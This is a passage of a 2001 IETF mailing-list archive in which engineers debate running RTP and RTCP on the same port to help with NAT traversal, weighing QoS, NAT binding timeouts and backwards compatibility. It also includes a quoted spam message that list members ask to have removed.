Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA11185
	for confctrl-outgoing; Sun, 15 Jul 2001 16:18:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA11180
	for <confctrl@zephyr.isi.edu>; Sun, 15 Jul 2001 16:18:05 -0700 (PDT)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6FNIHL28188
	for <confctrl@ISI.EDU>; Sun, 15 Jul 2001 16:18:17 -0700 (PDT)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f6FNFvY05159;
	Sun, 15 Jul 2001 16:15:57 -0700 (PDT)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAI09838;
	Sun, 15 Jul 2001 16:17:37 -0700 (PDT)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA07682; Sun, 15 Jul 2001 16:17:37 -0700 (PDT)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15186.9361.117713.313437@thomasm-u1.cisco.com>
Date: Sun, 15 Jul 2001 16:17:37 -0700 (PDT)
To: "Pete Cordell" <pete@tech-know-ware.com>
Cc: "'Christian Huitema'" <huitema@windows.microsoft.com>,
        "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
In-Reply-To: <003001c10d11$49042ca0$0200000a@tkw>
References: <B65B4F8437968F488A01A940B21982BF020D6204@DYN-EXCH-001.dynamicsoft.com>
	<003001c10d11$49042ca0$0200000a@tkw>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I can think of one pretty unfortunate consequence
of RTCP being on the same port. In some QoS
reservation scenarios with certain popular coders,
TDM-like slots can be allocated to give
preferential treatment to the RTP stream,
typically allocated to the ceil() of the possible
coders. If you put RTCP on the same port, you
clearly wouldn't want to allocate the TDM-like
slots as big as RTCP can be, so you'd have to
figure out how to split RTCP out and send it some
other way, or whatever. In other words, it gets
pretty messy in a hurry. Leaving RTCP on a
different port avoids all of that bother since
it's a different u-flow (and can be treated as
non-EF traffic too).

	       Mike


Pete Cordell writes:
 > According to table 2 of RFC 1890 the RTCP 'payload types' are already
 > reserved, so there shouldn't be a problem.
 > 
 > The same thought had occurred to me, and I've been trying to think of
 > reasons why RTP and RTCP are on different ports.  The only reason I can
 > think of is following the principle of only de-muxing at one layer.  (I
 > can't see how the separation helps multicast routers for example.)  To the
 > uninitiated this seems to be a bit of dogma over practicality, and for me
 > this instance of de-muxing would fall into a grey area with regard to this
 > principle.  However, it would be nice to know what the original reason was.
 > 
 > The main problem with this is surely backwards compatibility.  I can not see
 > any way to make it work with existing clients.
 > 
 > Pete.
 > 
 > =============================================
 > Pete Cordell
 > Tech-Know-Ware
 > pete@tech-know-ware.com
 > +44 1473 635863
 > =============================================
 > 
 > ----- Original Message -----
 > From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
 > To: 'Christian Huitema' <huitema@windows.microsoft.com>; Jonathan Rosenberg
 > <jdrosen@dynamicsoft.com>; David Yon <yon@dialout.net>; Fairlie-Cuninghame,
 > Robert <rfairlie@nuera.com>; confctrl@isi.edu <confctrl@ISI.EDU>
 > Sent: 14 July 2001 04:26
 > Subject: RE: Comedia Issues.
 > 
 > 
 > >
 > >
 > >
 > >
 > > > -----Original Message-----
 > > > From: Christian Huitema [mailto:huitema@windows.microsoft.com]
 > > > Sent: Friday, July 13, 2001 5:01 PM
 > > > To: Jonathan Rosenberg; David Yon; Fairlie-Cuninghame, Robert;
 > > > confctrl@isi.edu
 > > > Subject: RE: Comedia Issues.
 > > >
 > > >
 > > > If we really want to solve NAT traversal, we should also remove the
 > > > requirement to have RTP run on an even port, and RTCP on the next odd
 > > > port. In fact, we should run RTP and RTCP on the same port.
 > >
 > > Yes!! That would solve so many problems.... keepalives through nats are
 > done
 > > through the RTCP even when no one is talking, we have no need to signal an
 > > explicit RTCP port through nats, we double the available port space, and
 > so
 > > on. You have my vote on allowing RTCP on the same port as RTP. To
 > > disambiguate, you just need to disallow RTP from using a few of the
 > payload
 > > types that would make an RTP packet look like RTCP.
 > >
 > > -Jonathan R.
 > > ---
 > > Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
 > > Chief Scientist                             First Floor
 > > dynamicsoft                                 East Hanover, NJ 07936
 > > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
 > > http://www.jdrosen.net                      PHONE: (973) 952-5000
 > > http://www.dynamicsoft.com
 > >
 > 

From confctrl-owner  Sun Jul 15 19:04:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA18225
	for confctrl-outgoing; Sun, 15 Jul 2001 19:04:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA18220
	for <confctrl@zephyr.isi.edu>; Sun, 15 Jul 2001 19:04:37 -0700 (PDT)
Received: from mail1.dynamicsoft.com ([63.113.40.10])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6G24mL14089
	for <confctrl@ISI.EDU>; Sun, 15 Jul 2001 19:04:48 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f6G1LMRX026783;
	Sun, 15 Jul 2001 21:21:22 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <3YYCVBHA>; Sun, 15 Jul 2001 21:21:57 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D6225@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Michael Thomas'" <mat@cisco.com>,
        Pete Cordell
	 <pete@tech-know-ware.com>
Cc: "'Christian Huitema'" <huitema@windows.microsoft.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "confctrl@isi.edu"
	 <confctrl@ISI.EDU>
Subject: RE: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Date: Sun, 15 Jul 2001 21:21:55 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




> -----Original Message-----
> From: Michael Thomas [mailto:mat@cisco.com]
> Sent: Sunday, July 15, 2001 7:18 PM
> To: Pete Cordell
> Cc: 'Christian Huitema'; Jonathan Rosenberg; confctrl@isi.edu
> Subject: Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
> 
> 
> 
> I can think of one pretty unfortunate consequence
> of RTCP being on the same port. In some QoS
> reservation scenarios with certain popular coders,
> TDM-like slots can be allocated to give
> preferential treatment to the RTP stream,

TDM-like slots?? I thought we were working on IP protocols in IETF...

> typically allocated to the ceil() of the possible
> coders. If you put RTCP on the same port, you
> clearly wouldn't want to allocate the TDM-like
> slots as big as RTCP can be, so you'd have to
> figure out how to split RTCP out and send it some
> other way, or whatever.

Well, RTCP adds 5% of the bandwidth. Yes, it makes it more bursty, but not
by much. Any QoS mechanism already needs to handle bursty data (certainly
RSVP does), so I don't understand the problem.


 In other words, it gets
> pretty messy in a hurry. Leaving RTCP on a
> different port avoids all of that bother since
> it's a different u-flow (and can be treated as
> non-EF traffic too).

With EF, I also don't see an issue, since presumably the edge routers are
running a leaky bucket to mark packets.

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Mon Jul 16 09:15:08 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA27163
	for confctrl-outgoing; Mon, 16 Jul 2001 09:15:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA27158
	for <confctrl@zephyr.isi.edu>; Mon, 16 Jul 2001 09:15:06 -0700 (PDT)
Received: from motgate2.mot.com (motgate2.mot.com [136.182.1.10])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6GGFIL05281
	for <confctrl@ISI.EDU>; Mon, 16 Jul 2001 09:15:18 -0700 (PDT)
Received: [from pobox4.mot.com (pobox4.mot.com [10.64.251.243]) by motgate2.mot.com (motgate2 2.1) with ESMTP id JAA27524 for <confctrl@ISI.EDU>; Mon, 16 Jul 2001 09:15:17 -0700 (MST)]
Received: [from il27exb01.cig.mot.com (il27exb01.cig.mot.com [136.182.15.100]) by pobox4.mot.com (MOT-pobox4 2.0) with ESMTP id JAA29480 for <confctrl@ISI.EDU>; Mon, 16 Jul 2001 09:15:16 -0700 (MST)]
Received: by il27exb01.cig.mot.com with Internet Mail Service (5.5.2653.19)
	id <3XDBRM5N>; Mon, 16 Jul 2001 11:15:15 -0500
Message-ID: <35DBB8B7AC89D4118E98009027B1009B0FED9C@IL27EXM10.cig.mot.com>
From: Chen Julie-QA6235 <Julie.Chen@motorola.com>
To: "'scott_menly@hotmail.com'" <scott_menly@hotmail.com>, confctrl@ISI.EDU
Subject: RE: hi
Date: Mon, 16 Jul 2001 11:15:13 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="koi8-r"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Can the owner of this mailing list (confctrl@ISI.EDU) remove Scott manly from mailing list?


-----Original Message-----
From: scott [mailto:scott_menly@hotmail.com]
Sent: Sunday, July 15, 2001 4:46 PM
To: confctrl@ISI.EDU
Subject: hi


Hi buddy,
Check those incredible naked photos,
it's the best site i had visit in,  ever !

http://204.177.92.193/party/aff/vengo/index06.jhtml?PIN=011447

Bye,
Scott

contact me on icq (where r u?)

From confctrl-owner  Mon Jul 16 10:12:54 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA01595
	for confctrl-outgoing; Mon, 16 Jul 2001 10:12:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA01589
	for <confctrl@zephyr.isi.edu>; Mon, 16 Jul 2001 10:12:53 -0700 (PDT)
Received: from rainier.illuminet.com ([63.116.20.100])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6GHD4L28469
	for <confctrl@ISI.EDU>; Mon, 16 Jul 2001 10:13:04 -0700 (PDT)
Received: from olwinexsmtp01.corp.illuminet.com (olwinexsmtp01.corp.illuminet.com [172.20.1.9]) by rainier.illuminet.com (8.8.8/8.8.8) with ESMTP id KAA23442; Mon, 16 Jul 2001 10:12:46 -0700 (PDT)
Received: by olwinexsmtp01.corp.illuminet.com with Internet Mail Service (5.5.2653.19)
	id <N3KYY11J>; Mon, 16 Jul 2001 10:12:46 -0700
Message-ID: <4209D8CC4CE65647BBC6FFBC5F4823C001615044@olwinexcl01.corp.illuminet.com>
From: Linda Ryan <LRyan@illuminet.com>
To: "'Chen Julie-QA6235'" <Julie.Chen@motorola.com>,
        "'scott_menly@hotmail.com'" <scott_menly@hotmail.com>,
        confctrl@ISI.EDU
Subject: RE: hi
Date: Mon, 16 Jul 2001 10:12:42 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="koi8-r"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

same for lryan@illuminet.com

-----Original Message-----
From: Chen Julie-QA6235 [mailto:Julie.Chen@motorola.com]
Sent: Monday, July 16, 2001 9:15 AM
To: 'scott_menly@hotmail.com'; confctrl@ISI.EDU
Subject: RE: hi


Can the owner of this mailing list (confctrl@ISI.EDU) remove Scott manly
from mailing list?


-----Original Message-----
From: scott [mailto:scott_menly@hotmail.com]
Sent: Sunday, July 15, 2001 4:46 PM
To: confctrl@ISI.EDU
Subject: hi


Hi buddy,
Check those incredible naked photos,
it's the best site i had visit in,  ever !

http://204.177.92.193/party/aff/vengo/index06.jhtml?PIN=011447

Bye,
Scott

contact me on icq (where r u?)

From confctrl-owner  Mon Jul 16 11:41:08 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA07551
	for confctrl-outgoing; Mon, 16 Jul 2001 11:41:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA07546
	for <confctrl@zephyr.isi.edu>; Mon, 16 Jul 2001 11:41:07 -0700 (PDT)
Received: from kevlar.softarmor.com (dwillis1.directlink.net [63.64.250.82])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6GIfJL04827
	for <confctrl@ISI.EDU>; Mon, 16 Jul 2001 11:41:19 -0700 (PDT)
Received: from plate (localhost.localdomain [127.0.0.1])
	by kevlar.softarmor.com (8.11.2/8.11.2) with SMTP id f6GIfYK04995;
	Mon, 16 Jul 2001 13:41:34 -0500
Message-ID: <001701c10e26$8b377c60$ee036e3f@dfw.dynamicsoft.com>
From: "Dean Willis" <dean.willis@softarmor.com>
To: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>,
        "'Michael Thomas'" <mat@cisco.com>,
        "Pete Cordell" <pete@tech-know-ware.com>
Cc: "'Christian Huitema'" <huitema@windows.microsoft.com>,
        "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>,
        "confctrl@isi.edu" <confctrl@ISI.EDU>
References: <B65B4F8437968F488A01A940B21982BF020D6225@DYN-EXCH-001.dynamicsoft.com>
Subject: Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Date: Mon, 16 Jul 2001 13:38:41 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The underlying QoS mechanisms for DOCSYS cable modems and for 3G wireless
(at least the GSM-derived stuff) are inherently TDM based. Essentially,
time-division is used to establish an effectively isochronous flow for the
voice path. This imposes the ceiling behavior MAT referred to. Spikes above
the reserved ceiling tend to cause something else to get clipped or slipped.
If the ceiling is defined at the average rate of RTP plus RTCP. we can get
through without clipping anything, but at a cost of creating single-window
jitter events at an interval defined by the the ratio of RTCP/RTP packets.

--
Dean

----- Original Message -----
From: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>
To: "'Michael Thomas'" <mat@cisco.com>; "Pete Cordell"
<pete@tech-know-ware.com>
Cc: "'Christian Huitema'" <huitema@windows.microsoft.com>; "Jonathan
Rosenberg" <jdrosen@dynamicsoft.com>; "confctrl@isi.edu" <confctrl@ISI.EDU>
Sent: Sunday, July 15, 2001 8:21 PM
Subject: RE: RTP/RTCP Port Sharing (Was: Comedia Issues.)


>
>
>
> > -----Original Message-----
> > From: Michael Thomas [mailto:mat@cisco.com]
> > Sent: Sunday, July 15, 2001 7:18 PM
> > To: Pete Cordell
> > Cc: 'Christian Huitema'; Jonathan Rosenberg; confctrl@isi.edu
> > Subject: Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
> >
> >
> >
> > I can think of one pretty unfortunate consequence
> > of RTCP being on the same port. In some QoS
> > reservation scenarios with certain popular coders,
> > TDM-like slots can be allocated to give
> > preferential treatment to the RTP stream,
>
> TDM-like slots?? I thought we were working on IP protocols in IETF...
>
> > typically allocated to the ceil() of the possible
> > coders. If you put RTCP on the same port, you
> > clearly wouldn't want to allocate the TDM-like
> > slots as big as RTCP can be, so you'd have to
> > figure out how to split RTCP out and send it some
> > other way, or whatever.
>
> Well, RTCP adds 5% of the bandwidth. Yes, it makes it more bursty, but not
> by much. Any QoS mechanism already needs to handle bursty data (certainly
> RSVP does), so I don't understand the problem.
>
>
>  In other words, it gets
> > pretty messy in a hurry. Leaving RTCP on a
> > different port avoids all of that bother since
> > it's a different u-flow (and can be treated as
> > non-EF traffic too).
>
> With EF, I also don't see an issue, since presumably the edge routers are
> running a leaky bucket to mark packets.
>
> -Jonathan R.
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>


From confctrl-owner  Mon Jul 16 20:34:37 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id UAA07911
	for confctrl-outgoing; Mon, 16 Jul 2001 20:34:37 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA07898
	for <confctrl@zephyr.isi.edu>; Mon, 16 Jul 2001 20:34:36 -0700 (PDT)
Received: from ns.live.com (ns.live.com [66.80.62.34])
	by gamma.isi.edu (8.11.2/8.11.2) with ESMTP id f6H3YmH00985
	for <confctrl@ISI.EDU>; Mon, 16 Jul 2001 20:34:48 -0700 (PDT)
Received: (from rsf@localhost)
	by ns.live.com (8.9.3/8.9.3) id UAA56456;
	Mon, 16 Jul 2001 20:32:43 -0700 (PDT)
	(envelope-from rsf)
Message-Id: <4.3.1.1.20010716201019.00b90ae0@localhost>
X-Sender: rsf@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Mon, 16 Jul 2001 20:32:34 -0700
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Cc: avt@ietf.org
In-Reply-To: <001701c10e26$8b377c60$ee036e3f@dfw.dynamicsoft.com>
References: <B65B4F8437968F488A01A940B21982BF020D6225@DYN-EXCH-001.dynamicsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Am I the only person here who's baffled that this idea (allowing RTP and 
RTCP to use the same port) is being taken seriously at all?  Not only would 
this would break most - if not all - existing RTP/RTCP implementations, but 
multiplexing control and data information at this level is generally 
considered bad design.

Please remind me again - what problem would this solve?  If, for whatever 
reason, the current RTP/RTCP port pairing (RTP on port 2n; RTCP on port 
2n+1) is considered too restrictive, then maybe we could consider relaxing 
*that* restriction, while still requiring RTP and RTCP to use separate ports?

         Ross.


From confctrl-owner  Mon Jul 16 21:22:07 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA10139
	for confctrl-outgoing; Mon, 16 Jul 2001 21:22:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA10134
	for <confctrl@zephyr.isi.edu>; Mon, 16 Jul 2001 21:22:06 -0700 (PDT)
Received: from mail1.dynamicsoft.com ([63.113.40.10])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6H4MIL28303
	for <confctrl@ISI.EDU>; Mon, 16 Jul 2001 21:22:18 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f6H4K0RX007017;
	Tue, 17 Jul 2001 00:20:00 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <3YYCV10G>; Tue, 17 Jul 2001 00:20:35 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D627F@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Ross Finlayson'" <finlayson@live.com>, confctrl@ISI.EDU
Cc: avt@ietf.org
Subject: RE: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Date: Tue, 17 Jul 2001 00:20:34 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Ross Finlayson [mailto:finlayson@live.com]
> Sent: Monday, July 16, 2001 11:33 PM
> To: confctrl@ISI.EDU
> Cc: avt@ietf.org
> Subject: Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
> 
> 
> Am I the only person here who's baffled that this idea 
> (allowing RTP and 
> RTCP to use the same port) is being taken seriously at all?  
> Not only would 
> this would break most - if not all - existing RTP/RTCP 
> implementations, but 
> multiplexing control and data information at this level is generally 
> considered bad design.

I agree with you in theory, Ross. The problem is that NATs are considered an
even worse design choice. However, they exist, and we need to deal with
them. 

The specific problem I'm running into is the lifetime of NAT bindings. Right
now, RTP and RTCP will both require a separate binding. NAT bindings are
kept alive by activity. Unfortunately, if silence suppression is used, the
RTP nat binding will timeout, and the media is not recovered. The
periodicity of RTCP keeps its bindings active. I'd like to be able to use
that information to keep the RTP binding fresh as well. That happens if they
are both on the same port.

Now, you will immediately say that this is why you need an ALG - put
application layer intelligence into the routers (i.e., NATs). However, I
strongly believe that the FUNDAMENTAL notion of the Internet is to keep
application layer intelligence OUT of the network layer elements. I don't
want to have to wait for upgrades in nats (which may never happen in some
deployment scenarios) in order to provide an app. Instead of the routers
knowing about applications, I say that the applications should know about
the behaviors of the routers, and adjust how they work accordingly. THis is
already a given for things like QoS, right? The applications learn about,
and adjust to, the QoS service delivered by the network routers. Applying
this concept to nats is the core idea behind midcom. However, it will be a
very long time until we have midcom everywhere, and in the interim (which is
many years), there will continue to exist application-unaware nats. I'd
rather make sure my applications work with them, rather than ignoring them
and hoping nat manufacturers all correctly implement ALG functions for every
protocol that comes around.

I'm sure this view is controversial, but I believe that given we accept the
existence of nats, my view on this is consistent with the end-to-end
architecture and hourglass model of the Internet.

I struggle greatly with nats, since their existence is severely in the way
of large scale VoIP/SIP deployments. Proprietary protocols that are
developed these days don't have all the problems with nats, since they
accept them as a given and are designed to work through them. THis is the
case for protocols like gnutella and net2phone, which do work through nats. 


> 
> Please remind me again - what problem would this solve?  If, 
> for whatever 
> reason, the current RTP/RTCP port pairing (RTP on port 2n; 
> RTCP on port 
> 2n+1) is considered too restrictive, then maybe we could 
> consider relaxing 
> *that* restriction, while still requiring RTP and RTCP to use 
> separate ports?

That helps somewhat. Another problem is that since RTP/RTCP require two
separate bindings, I cannot guarantee that they are consecutive port pairs
on the other side of an application unaware nat. So, I need to signal the
RTCP port and RTP port separately. Christian has proposed such a thing:

http://www.ietf.org/internet-drafts/draft-huitema-sdp4nat-00.txt

My binding timeout problem still exists, but if I turn off silence
suppression, at least it works with Christian's draft.

Now, backwards compatibility of all this is definitely a pain, but doable.
Lets say A can send RTP/RTCP on the same port. It includes some kind of flag
in the SDP in its INVITE. It also prepares to receive RTCP on BOTH the same
port as RTP, and one higher. If the called party recognizes the flag, it can
send RTCP back on the same port as RTP, and then it places a flag in the SDP
in the 200 OK. Otherwise, it ignores the flag, and does the current
behavior. Either works, since the caller is prepared for both. The result is
that you get current behavior unless both support the new mechanism, in
which case you get the new behavior. Isn't that backwards compatible?

Flame away.

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Mon Jul 16 23:13:17 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id XAA14942
	for confctrl-outgoing; Mon, 16 Jul 2001 23:13:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA14936
	for <confctrl@zephyr.isi.edu>; Mon, 16 Jul 2001 23:13:16 -0700 (PDT)
Received: from ns.live.com (ns.live.com [66.80.62.34])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6H6DSL17854
	for <confctrl@ISI.EDU>; Mon, 16 Jul 2001 23:13:28 -0700 (PDT)
Received: (from rsf@localhost)
	by ns.live.com (8.9.3/8.9.3) id XAA60717;
	Mon, 16 Jul 2001 23:13:15 -0700 (PDT)
	(envelope-from rsf)
Message-Id: <4.3.1.1.20010716225345.00bb4540@localhost>
X-Sender: rsf@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Mon, 16 Jul 2001 23:13:07 -0700
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
From: Ross Finlayson <finlayson@live.com>
Subject: Re: [AVT] RE: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Cc: confctrl@ISI.EDU, avt@ietf.org
In-Reply-To: <B65B4F8437968F488A01A940B21982BF020D627F@DYN-EXCH-001.dyna
 micsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 09:20 PM 7/16/01, Jonathan Rosenberg wrote:
>The specific problem I'm running into is the lifetime of NAT bindings. Right
>now, RTP and RTCP will both require a separate binding. NAT bindings are
>kept alive by activity. Unfortunately, if silence suppression is used, the
>RTP nat binding will timeout, and the media is not recovered.

Out of curiosity, what kind of timeouts do these NAT bindings typically have?

As is typical when NATs are involved, there's probably no 'clean' solution 
to this problem, but I wonder if it might be better to try to address the 
specific problem of RTP (in)activity, rather than trying to kludge around 
this by putting RTCP on the same port?  In particular, the RTP sender could 
be told (e.g., though yet-another-new-SDP-attribute) to ensure that it 
sends some data (at the very least, an 'empty' frame) every 'n' 
seconds.  This has its own difficulties, of course - e.g., the fact that 
'empty frame' might be codec-specific.  And like your proposed solution, it 
requires that existing RTP implementations be modified (unless they support 
only payload formats that always have continuous data).

>Now, you will immediately say that this is why you need an ALG

No, actually, I agree with your argument against requiring ALG support.

         Ross.


From confctrl-owner  Mon Jul 16 23:16:33 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA15154
	for confctrl-outgoing; Mon, 16 Jul 2001 23:16:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA15149
	for <confctrl@zephyr.isi.edu>; Mon, 16 Jul 2001 23:16:31 -0700 (PDT)
Received: from mule.aciri.org (mule.aciri.org [192.150.187.28])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6H6GiL18234
	for <confctrl@isi.edu>; Mon, 16 Jul 2001 23:16:44 -0700 (PDT)
Received: from mule.aciri.org (localhost [127.0.0.1])
	by mule.aciri.org (8.11.3/8.11.1) with ESMTP id f6H6GeY30277;
	Mon, 16 Jul 2001 23:16:40 -0700 (PDT)
	(envelope-from hodson@mule.aciri.org)
Message-Id: <200107170616.f6H6GeY30277@mule.aciri.org>
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
cc: "'Ross Finlayson'" <finlayson@live.com>, confctrl@ISI.EDU
In-reply-to: Your message of Tue, 17 Jul 2001 00:20:34 -0400 
Subject: Re: " [AVT] RE: RTP/RTCP Port Sharing (Was: Comedia Issues.) "
Date: Mon, 16 Jul 2001 23:16:40 -0700
From: Orion Hodson <hodson@aciri.org>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg writes:
> > Am I the only person here who's baffled that this idea 
> > (allowing RTP and 
> > RTCP to use the same port) is being taken seriously at all?  
> > Not only would 
> > this would break most - if not all - existing RTP/RTCP 
> > implementations, but 
> > multiplexing control and data information at this level is generally 
> > considered bad design.
> 
> I agree with you in theory, Ross. The problem is that NATs are considered an
> even worse design choice. However, they exist, and we need to deal with
> them. 
> 
> The specific problem I'm running into is the lifetime of NAT bindings. Right
> now, RTP and RTCP will both require a separate binding. NAT bindings are
> kept alive by activity. Unfortunately, if silence suppression is used, the
> RTP nat binding will timeout, and the media is not recovered. The
> periodicity of RTCP keeps its bindings active. I'd like to be able to use
> that information to keep the RTP binding fresh as well. That happens if they
> are both on the same port.

Did the alternative of allowing unicast RTP apps to send some data to
maintain the binding get considered/rejected?  Refresh data could be
